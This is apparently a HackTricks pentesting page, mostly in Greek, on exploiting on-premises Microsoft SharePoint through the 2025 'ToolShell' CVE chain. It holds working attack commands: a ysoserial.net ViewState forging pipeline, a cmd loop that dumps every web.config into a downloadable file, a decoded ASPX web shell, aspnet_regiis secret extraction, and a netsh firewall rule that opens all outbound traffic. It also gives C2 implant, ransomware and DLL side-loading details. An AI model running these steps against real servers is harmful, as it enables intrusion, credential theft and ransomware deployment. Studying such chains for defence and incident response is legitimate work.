Microsoft SharePoint – Pentesting & Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Το Microsoft SharePoint (on-premises) είναι χτισμένο πάνω σε ASP.NET/IIS. Το μεγαλύτερο μέρος της κλασικής επιφάνειας επίθεσης του web (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρόν, αλλά το SharePoint επίσης περιλαμβάνει εκατοντάδες ιδιόκτητες ASPX σελίδες και web services που διευρύνουν δραματικά την εκτιθέμενη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για να enumerate, exploit και persist μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα exploit του 2025 που αποκαλύφθηκε από Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> επιτρέπει να εισαχθεί αυθαίρετος Server-Side Include κώδικας στη σελίδα, ο οποίος στη συνέχεια μεταγλωττίζεται από το ASP.NET. Ένας επιτιθέμενος μπορεί να ενσωματώσει C# που εκτελεί Process.Start() και να αφήσει ένα κακόβουλο ViewState.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Η ίδια σελίδα εμπιστεύεται την κεφαλίδα X-Forms_BaseUrl για να καθορίσει το context του site. Δείχνοντάς την στο /_layouts/15/, το MFA/SSO που επιβάλλεται στο root site μπορεί να παρακαμφθεί unauthenticated.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Μόλις ο επιτιθέμενος ελέγξει ένα gadget στο ToolPane.aspx, μπορεί να κάνει post μια unsigned (ή MAC-only) __VIEWSTATE τιμή που ενεργοποιεί .NET deserialization μέσα στο w3wp.exe, οδηγώντας σε εκτέλεση κώδικα.

If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Για λεπτομερή εξήγηση για την κατάχρηση του ASP.NET ViewState διαβάστε:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Η αποστολή ενός crafted Source parameter προς ToolPane.aspx (π.χ. ../../../../web.config) επιστρέφει το στοχευμένο αρχείο, επιτρέποντας τη διαρροή των εξής:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Η Check Point χαρτογράφησε πώς το Ink Dragon επιχειρησιακοποίησε την αλυσίδα ToolShell μήνες πριν η Microsoft κυκλοφορήσει διορθώσεις:

  • Header spoofing for auth bypass – ο δράστης στέλνει POSTs προς /_layouts/15/ToolPane.aspx με Referer: https://<victim>/_layouts/15/ και ένα ψεύτικο X-Forms_BaseUrl. Αυτά τα headers πείθουν το SharePoint ότι το αίτημα προέρχεται από ένα αξιόπιστο layout και παρακάμπτουν πλήρως την front-door authentication (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – το σώμα περιλαμβάνει attacker-controlled ViewState/ToolPart δεδομένα που φτάνουν στον ευάλωτο server-side formatter (CVE-2025-49704/CVE-2025-53770). Το payload είναι συνήθως μια ysoserial.net αλυσίδα που τρέχει μέσα σε w3wp.exe χωρίς ποτέ να γράψει στο δίσκο.
  • Internet-scale scanning – η τηλεμετρία του Ιουλίου 2025 δείχνει ότι σαρώνανε κάθε προσβάσιμο /_layouts/15/ToolPane.aspx endpoint και επαναπαίζανε ένα λεξικό από διαρροής <machineKey> ζευγάρια. Οποιοδήποτε site είχε αντιγράψει ένα δείγμα validationKey από τεκμηρίωση μπορεί να παραβιαστεί ακόμα και αν είναι αλλιώς πλήρως patched (βλ. τη σελίδα ViewState για το signing workflow).
  • Immediate staging – η επιτυχημένη εκμετάλλευση ρίχνει ένα loader ή PowerShell stager που: (1) κάνει dump κάθε web.config, (2) φυτεύει ένα ASPX webshell για πρόσθετη πρόσβαση, και (3) προγραμματίζει ένα τοπικό Potato privesc για να διαφύγει από τον IIS worker.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Το προκύπτον debug_dev.js μπορεί να ληφθεί ανώνυμα και περιέχει όλες τις ευαίσθητες ρυθμίσεις.

3.2 Ανάπτυξη Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Παράδειγμα αποκωδικοποιημένου payload (περικομμένο):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Γράφτηκε σε:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Same shell but:

  • dropped under ...\15\TEMPLATE\LAYOUTS\
  • variable names reduced to single letters
  • Thread.Sleep(<ms>) added for sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:

AK47C2 – dnsclient variant

  • Hard-coded DNS server: 10.7.66.10 communicating with authoritative domain update.updatemicfosoft.com.
  • Messages are JSON objects XOR-encrypted with the static key VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Long queries are chunked and prefixed with s, then re-assembled server-side.
  • Server replies in TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 introduced a simplified format <COMMAND>::<SESSION_KEY> and chunk markers 1, 2, a.

AK47C2 – httpclient variant

  • Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via libcurl (CURLOPT_POSTFIELDS, etc.).
  • Same task/result workflow allowing:
  • Arbitrary shell command execution.
  • Dynamic sleep interval and kill-switch instructions.

X2ANYLOCK ransomware

  • 64-bit C++ payload loaded through DLL side-loading (see below).
  • Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension .x2anylock.
  • Recursively encrypts local drives and discovered SMB shares; skips system paths.
  • Drops clear-text note How to decrypt my data.txt embedding a static Tox ID for negotiations.
  • Contains an internal kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Ο επιτιθέμενος γράφει dllhijacked.dll/My7zdllhijacked.dll δίπλα σε ένα νόμιμο 7z.exe.
  2. Το SharePoint-spawned w3wp.exe εκκινεί το 7z.exe, το οποίο φορτώνει το κακόβουλο DLL λόγω του Windows search order, καλώντας το ransomware entrypoint στη μνήμη.
  3. Ένας ξεχωριστός LockBit loader που παρατηρήθηκε (bbb.msiclink_x86.execlink_dll_x86.dll) αποκρυπτογραφεί shell-code και εκτελεί DLL hollowing στο d3dl1.dll για να τρέξει το LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Turning SharePoint loot into lateral movement

  • Decrypt every protected section – once seated on the web tier, abuse aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (or -px "appSettings") to dump the clear-text secrets hiding behind <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.
  • Recycle app-pool accounts across farms – many enterprises reuse the same domain account for IIS APPPOOL\SharePoint on every front-end. After decrypting identity impersonate="..." blocks or reading ApplicationHost.config, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing psexec, sc create, or scheduled-task staging without triggering password sprays.
  • Abuse leaked <machineKey> values internally – even if the internet perimeter gets patched, reusing the same validationKey/decryptionKey allows lateral ViewState exploitation between internal SharePoint zones that trust each other.

3.6 Persistence patterns witnessed in 2025 intrusions

  • Scheduled tasks – a one-shot task named SYSCHECK (or other health-themed names) is created with /ru SYSTEM /sc once /st <hh:mm> to bootstrap the next-stage loader (commonly a renamed conhost.exe). Because it is run-once, telemetry often misses it unless historic task XML is preserved.
  • Masqueraded services – services such as WindowsTempUpdate, WaaSMaintainer, or MicrosoftTelemetryHost are installed via sc create pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the OriginalFileName PE field is a quick integrity check.

3.7 Host firewall downgrades for relay traffic

Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Επειδή ο κανόνας δημιουργείται τοπικά (όχι μέσω GPO) και χρησιμοποιεί το νόμιμο binary του Defender ως program=, τα περισσότερα SOC baselines τον αγνοούν, ωστόσο ανοίγει Any ➜ Any egress.


Σχετικά κόλπα

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks